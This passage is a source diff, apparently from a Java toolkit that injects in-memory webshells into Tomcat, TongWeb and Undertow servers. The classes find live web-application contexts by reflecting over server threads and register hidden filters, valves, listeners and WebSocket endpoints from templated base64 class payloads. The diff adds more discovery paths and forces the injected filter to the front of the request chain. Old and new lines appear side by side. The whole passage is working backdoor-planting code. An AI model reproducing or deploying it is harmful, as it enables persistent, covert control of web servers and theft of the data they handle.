this.proxyValve = proxyValve; this.proxyValve = proxyValve;
} }
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
@Override @Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if ("invoke".equals(method.getName())) { if ("invoke".equals(method.getName())) {
@@ -100,12 +85,24 @@ public class TomcatProxyValveInjector implements InvocationHandler {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) { } else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName(); String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) { if (name.matches(".+WebappClassLoader")) {
@@ -121,6 +118,23 @@ public class TomcatProxyValveInjector implements InvocationHandler {
return contexts; return contexts;
} }
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -8,7 +8,9 @@ import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -42,7 +44,7 @@ public class TomcatServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -60,6 +62,43 @@ public class TomcatServletInjector {
System.out.println(msg); System.out.println(msg);
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -77,31 +116,6 @@ public class TomcatServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -37,7 +37,7 @@ public class TomcatUpgradeInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -55,6 +55,47 @@ public class TomcatUpgradeInjector {
System.out.println(msg); System.out.println(msg);
} }
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -72,35 +113,6 @@ public class TomcatUpgradeInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader(); ClassLoader classLoader = context.getClass().getClassLoader();
@@ -35,7 +35,7 @@ public class TomcatValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -53,6 +53,43 @@ public class TomcatValveInjector {
System.out.println(msg); System.out.println(msg);
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -70,31 +107,6 @@ public class TomcatValveInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader(); ClassLoader classLoader = context.getClass().getClassLoader();
@@ -7,7 +7,9 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -41,7 +43,7 @@ public class TomcatWebSocketInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -59,6 +61,43 @@ public class TomcatWebSocketInjector {
System.out.println(msg); System.out.println(msg);
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -76,31 +115,6 @@ public class TomcatWebSocketInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -43,7 +44,7 @@ public class TongWebFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -116,7 +117,7 @@ public class TongWebFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -149,24 +150,28 @@ public class TongWebFilterInjector {
String filterClassName = getClassName(); String filterClassName = getClassName();
Object filterDef; Object filterDef;
Object filterMap; Object filterMap;
Class<?> filterMapClass;
Constructor<?> constructor; Constructor<?> constructor;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
// tongweb 7 // tongweb 7
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e2) { } catch (Exception e2) {
try { try {
// tongweb 6 // tongweb 6
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e) { } catch (Exception e) {
// tongweb 8 // tongweb 8
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} }
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
@@ -174,7 +179,13 @@ public class TongWebFilterInjector {
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
// addFilterMapFirst
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
constructor.setAccessible(true); constructor.setAccessible(true);
Object filterConfig = constructor.newInstance(context, filterDef); Object filterConfig = constructor.newInstance(context, filterDef);
@@ -221,48 +232,58 @@ public class TongWebFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try { try {
Field field = clazz.getDeclaredField(name); if (paramClazz == null) {
field.setAccessible(true); method = clazz.getDeclaredMethod(methodName);
return field.get(obj); } else {
} catch (NoSuchFieldException var5) { method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) { private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null; PrintStream printStream = null;
@@ -35,7 +35,7 @@ public class TongWebListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -96,7 +96,7 @@ public class TongWebListenerInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -218,30 +218,25 @@ public class TongWebListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -35,7 +35,7 @@ public class TongWebValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -7,7 +7,10 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -40,7 +43,7 @@ public class UndertowFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -75,6 +78,7 @@ public class UndertowFilterInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
@SuppressWarnings("Duplicates")
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -129,6 +133,8 @@ public class UndertowFilterInjector {
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null); Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST}); invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
// invalidate cache
invokeMethod(invokeMethod(deploymentImpl, "getServletPaths", null, null), "invalidate", null, null);
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
@@ -213,30 +219,25 @@ public class UndertowFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -40,7 +40,7 @@ public class UndertowListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
